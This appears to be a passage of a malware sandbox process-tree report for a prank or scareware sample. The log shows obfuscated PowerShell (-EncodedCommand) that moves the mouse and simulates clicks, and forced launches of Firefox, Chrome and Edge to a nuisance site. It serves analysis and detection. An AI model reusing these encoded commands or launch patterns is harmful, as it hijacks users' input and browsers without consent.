        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,16237015789853221699,1793606701122013438,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:14
        5⤵
        
        PID:796
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3768,i,42220830400925948,10689893678580204175,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:12
        5⤵
        
        PID:2152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5756,i,14472244593782802994,2703405295253973730,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:14
        5⤵
        
        PID:4732
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5772,i,16148455509347538240,6567973606802479343,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
        5⤵
        
        PID:2032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5496,i,266669496461414256,8454415484139175348,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:1
        5⤵
        
        PID:6196
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6296,i,13904606259664718430,9960838354066955436,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:1
        5⤵
        
        PID:5252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6656,i,5856008860006733930,1276467981414533242,2097152 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:1
        5⤵
        
        PID:8000
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4976,i,6958673142584635635,929517556277706204,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:14
        5⤵
        
        PID:6404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4396,i,554574014157068013,8970837388405407204,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=7028 /prefetch:14
        5⤵
        
        PID:6832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,8123251779807923974,3656688276396058147,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=7084 /prefetch:14
        5⤵
        
        PID:2640
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7160,i,17510174743825082342,2451927986574849185,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=7176 /prefetch:14
        5⤵
        
        PID:7720
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7160,i,17510174743825082342,2451927986574849185,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=7176 /prefetch:14
        5⤵
        
        PID:1620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,7428522731108831335,14461579250583305449,524288 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:14
        5⤵
        
        PID:8424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7420,i,3593042091726248946,15156856412479619807,262144 --field-trial-handle=2720,i,3923211468291850418,14746837438946403927,262144 --variations-seed-version --mojo-platform-channel-handle=7088 /prefetch:10
        5⤵
        
        PID:8272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      PID:3192
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:2604
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:2420
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1932 -prefsLen 26983 -prefMapHandle 1936 -prefMapSize 270110 -ipcHandle 1896 -initialChannelId {9f08a02a-3f05-4dd9-9d27-9691fa2c6255} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:6244
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2384 -prefsLen 27019 -prefMapHandle 2388 -prefMapSize 270110 -ipcHandle 2404 -initialChannelId {f66afd2d-40d0-4e05-a42c-24777327d56e} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:6452
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3504 -prefsLen 25069 -prefMapHandle 3508 -prefMapSize 270110 -jsInitHandle 3512 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3520 -initialChannelId {75fd6d85-286b-40cc-9dbc-3d092e84d86b} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        
        PID:5560
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3548 -prefsLen 27160 -prefMapHandle 3648 -prefMapSize 270110 -ipcHandle 3740 -initialChannelId {3eb44e26-4834-4693-83e2-a4cb70cf6418} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:6288
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4292 -prefsLen 32556 -prefMapHandle 4296 -prefMapSize 270110 -jsInitHandle 4300 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4308 -initialChannelId {dbf963f5-9a80-413c-9b60-8c3b7bf9a7ef} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        
        PID:7444
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4668 -prefsLen 32610 -prefMapHandle 4672 -prefMapSize 270110 -jsInitHandle 4676 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4684 -initialChannelId {f5e19b0b-18f0-4987-8cce-5f547dc84e72} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        6⤵
        
        PID:8100
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4920 -prefsLen 34701 -prefMapHandle 4924 -prefMapSize 270110 -jsInitHandle 4928 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4552 -initialChannelId {f56c27d3-1d83-45b3-8885-94d9d2ae9745} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        
        PID:6344
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5200 -prefsLen 32663 -prefMapHandle 5204 -prefMapSize 270110 -jsInitHandle 5208 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5164 -initialChannelId {1c2f9157-6fe0-42e9-a42d-22e5ed6cbc94} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        
        PID:7428
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5476 -prefsLen 34754 -prefMapHandle 5496 -prefMapSize 270110 -ipcHandle 5524 -initialChannelId {2553ab8f-68fb-4fd7-92a6-baab0fcd47cd} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 utility
        6⤵
        
        PID:244
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5104 -prefsLen 34992 -prefMapHandle 5636 -prefMapSize 270110 -ipcHandle 2900 -initialChannelId {5258afa5-344c-481f-8829-4e97e02e0163} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 utility
        6⤵
        
        PID:8612
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5636 -prefsLen 32853 -prefMapHandle 5104 -prefMapSize 270110 -jsInitHandle 5112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5712 -initialChannelId {1d273fe6-9fc4-4baa-bdbe-f079f4b4eace} -parentPid 2420 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2420" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        
        PID:8644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      PID:5560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      PID:6156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      PID:6412
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6700
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffdedb0c728,0x7ffdedb0c734,0x7ffdedb0c740
        5⤵
        
        PID:6724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      PID:6708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:4560
